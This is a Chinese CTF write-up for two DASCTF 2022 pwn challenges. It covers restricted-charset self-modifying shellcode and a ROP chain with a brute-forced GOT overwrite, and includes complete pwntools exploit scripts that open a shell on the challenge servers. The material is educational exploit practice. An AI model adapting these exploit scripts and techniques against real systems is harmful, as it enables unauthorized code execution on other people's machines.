DASCTF_2022_10
DASCTF_2022_10
坐牢捏坐牢捏
菜鸡只能看官方wp做题
1!5!
一道shellcode题
限制非常严格,只允许使用字符1 5 a 和除T之外的大写字母来编写shellcode。
0x5? 开头的是一系列的push和pop,可以直接使用

而0x31和0x35对应的是异或操作,第一个是将内存地址和某一寄存器值进行异或,结果保存在内存中。第二个是讲某一寄存器与一个立即数进行异或。

对于0x31,在操作码后的两个字节,前者对应操作的寄存器和用于寻址的寄存器,后一个对应寻址偏移。这一个多试试就好了,我也没找到具体的规律和对照表——英语不好没有耐心去看intel手册。
0x4?不可以直接作为操作码使用,这些东西在64位汇编程序中充当一个前缀的作用(还未学习),但是可以用它来作为xor指令的操作数。
应对这总限制极为严苛的shellcode题,可以尝试在shellcode执行时通过异或等操作对自身未执行的片段进行修改,以在shellcode中创造出一些不允许我们写入的字符。
我们可以通过先构造一次能执行read的shellcode,将能拿shell的shellcode通过这次read写入,会更加方便。(在这里猛舔梁神,嘶哈嘶哈......)
exp:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
#r=process('/home/wjc/Desktop/pwn_1')
r=remote('node4.buuoj.cn',28642)
shellcode =asm('''
push rdx;
pop rcx;
xor eax, 0x41414141;
xor eax, 0x49494949;
xor dword ptr[rcx+0x44], eax;
xor dword ptr[rcx+0x48], eax;
xor eax, 0x41414141;
xor eax, 0x49494949;
xor eax, 0x50575057;
xor dword ptr[rcx+0x4C], eax;
xor eax, 0x50575057;
''')
shellcode+=0xb*asm('push rdx;pop rdx');
shellcode+=5*asm('push rdx');
shellcode+=asm('''
.byte 0x56
.byte 0x56
.byte 0x56
.byte 0x56
.byte 0x57
.byte 0x57
.byte 0x57
.byte 0x57
.byte 0x58
.byte 0x55
.byte 0x58
.byte 0x55
''')
shellcode+=0xD8*asm('push rdx;pop rdx');
#gdb.attach(r);
r.send(shellcode)
sleep(1)
r.send(0x52*'A'+asm(shellcraft.sh()))
#pop rdi 0x5F
#pop rsi 0x5E
#push rcx 0x51
#pop rcx 0x59
#push rax 0x50
#pop rcx 0x58
#xor [rcx+41h], eax 0x31 0x41 0x41
#xor [rcx+41h], eax 0x31 0x41 0x41
#
#syscall 0xF 0X5
r.interactive()
R()P
确实是ROP链的题
但是这题是真的阴间啊......
前面的检查绕过,应该不用再说了吧
这题没开PIE和canary,got表可写,开了NX,由于某些神奇的缘故(似乎是编译方式),这题的局部变量寻址方式及其抽象:采用rsp+偏移的方式来定位,而不是传统的rbp+偏移,此外,这题几乎弃用了rbp

我们还可以在上图中发现,这read函数调用前设置rsi时是通过rax进行传值,但是在main返回时我们可以用栈上可控数据来控制rax,进而实现任一地址写。
我们可以修改read的got表中存放的低位字节,将其变为read函数的syscall的地址——必然在其附近。但是由于题目没有给我们libc,所以实战中需要爆破(从0x00到0xff)
这里我们可以发现,rax,rsi和edx都可以由我们控制,但是edi却需要寻找别的gadget,我们在上面找到了这个指令,可以将rdi设置为bss段开头,这样我们将/bin/sh写进去就行了。

注意使用这个gadget之前一定要提前给rax设置好返回地址。
我们来整理一下;
0x401099:设置bss_start 给 rdi,跳转到rax
0x40116D:根据栈上数值设置eax,降低rsp并返回
0x40115A:用rax控制rsi后,根据栈上的数据设置edx,调用read,再根据同一位置即rsp+0xC的数据设置eax后降栈返回。注意这一步会将edi置零。
我们构造rop链的时候,最好按照每次0x20个字节去写,这样方便整理思路,便于布置每一次函数栈帧的数值。
思路很清晰了:
第一次先绕过检查,覆盖rsp+0xC为bss_start,填写返回地址为0x40115A
接下来,要布置这一轮的栈上内容,这一次的read应该读进来8个字节,所以rsp+0xc要写上8,然后返回时要回到0x40116D去修改eax。
之后还要给修改eax的过程去布置栈,这一次把eax修改为read_got。然后再回到0x40115A,布置栈让edx为1。之后执行read时会将read_got中的最低位字节覆盖。
到现在为止我们已经实现篡改got表为syscall——假设爆破成功。我们接下来需要修改寄存器。rsi可以通过返回到0x401141处的lea rsi,[rsp+0x18+buf],配合栈上数据,使其指向0,并触发syscall——这显然是最后一步的工作,那前面我们就需要将edx置零并让rdi指向bss_start,即我们之前写入的/bin/sh。
rdi的处理方式已经说了,rdx可以通过返回0x40115a,这时由于rax在call read前被置零,程序仍会执行read——准确的说是sys_read,但是由于rdx被置为了0,并不会产生大的影响。
之后便可去处理rdi了,rax填上0x40116D,布置好栈让rax为0x3b就行注意之所以在rdx之后处理rdi是因为在call read之前程序会把rdi置零。
处理完rax之后直接改rsi然后call read就能拿到shell,当然这是建立在爆破成功的基础上。爆破脚本我是通过发送一个echo flag,看看程序有没有拿到shell,如果拿到shell应该能返回flag这四个字符,这时我们就可以让程序返还交互权,否则就换一个数去尝试。
什么?你问我涉及到更高位的变动该怎么办?
我也想知道......不给libc,真是万恶的出题人。
from pickle import FALSE, TRUE
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
#r=process('/home/wjc/Desktop/pwn')
def pwn(num):
# read 0x114980
# 0x80 -> 0x90
#gdb.attach(r,'b*0x401171')
r.send(p32(0x100))
sleep(0.1)
bss_start=0x404018
mov_eax_ret=0x40116D
read_got=0x404000
rax_rsi_read=0x40115A
mov_rdi_bss_jmp_rax=0x4010DB
set_rsi=0x401141
rax_ret=0x40116D
set_rdx=0x40115D
pay =4*p32(bss_start)+p64(rax_rsi_read)
pay+=p64(0)+p32(0)+p32(8)+p64(0)+p64(mov_eax_ret) #binsh
pay+=p64(0)+p32(0)+p32(read_got)+p64(0)+p64(rax_rsi_read) #set rdx
pay+=p64(0)+p32(0)+p32(1)+p64(0)+p64(set_rdx) #syscall
pay+=p64(0)+p32(0)+p32(0)+p64(0)+p64(mov_eax_ret) #set rdx
pay+=p64(0)+p32(0)+p32(mov_eax_ret)+p64(0)+p64(mov_rdi_bss_jmp_rax) #rax_ret
pay+=p64(0)+p32(0)+p32(0x3b)+p64(0)+p64(set_rsi) #rax
pay+=p64(0)+p32(0)+p32(0)+p64(0)+p64(0x401126) #rsi syscall
r.send(pay.ljust(0x100,'\x00'))
sleep(0.1)
r.send('/bin/sh\x00')
sleep(0.1)
r.send(chr(num))
sleep(0.1)
r.sendline("echo flag")
str=r.recvuntil('flag',False,0.5)
print("str:",str)
if 'flag' in str:
return 1
return 0
if __name__ == '__main__':
for i in range(0x00,0x100):
#r=process('/home/wjc/Desktop/pwn')
r=remote('node4.buuoj.cn',26560)
try:
print("i:",hex(i))
if pwn(i):
print("WIN!!!")
break;
else :
print("recv GG")
r.close()
except:
print("exception GG")
r.close()
r.interactive()

浙公网安备 33010602011771号